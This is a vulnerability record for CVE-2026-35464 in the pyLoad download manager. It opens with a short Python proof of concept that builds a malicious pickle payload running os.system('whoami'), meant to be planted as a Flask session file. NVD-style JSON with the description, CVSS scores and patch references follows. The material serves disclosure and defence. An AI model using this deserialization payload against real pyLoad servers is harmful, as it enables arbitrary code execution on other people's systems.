CVE-2026-35464

import pickle import os # Malicious pickle payload to execute arbitrary command (e.g., whoami) class PoCPayload: def __reduce__(self): return (os.system, ('whoami',)) def generate_payload(): serialized = pickle.dumps(PoCPayload()) print(f"Generated Pickle Payload Length: {len(serialized)}") # In a real attack, this payload would be written to # the Flask session file path specified in storage_folder. return serialized if __name__ == "__main__": generate_payload()

{"cve": {"id": "CVE-2026-35464", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:44.523", "lastModified": "2026-04-23T15:13:57.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. The fix for CVE-2026-33509 added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie. This vulnerability is fixed with commit c4cf995a2803bdbe388addfc2b0f323277efc0e1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-04-02", "matchCriteriaId": "970C5BF4-1BD4-470D-A352-57CADD3CA326"}]}]}], "references": [{"url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-33509", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}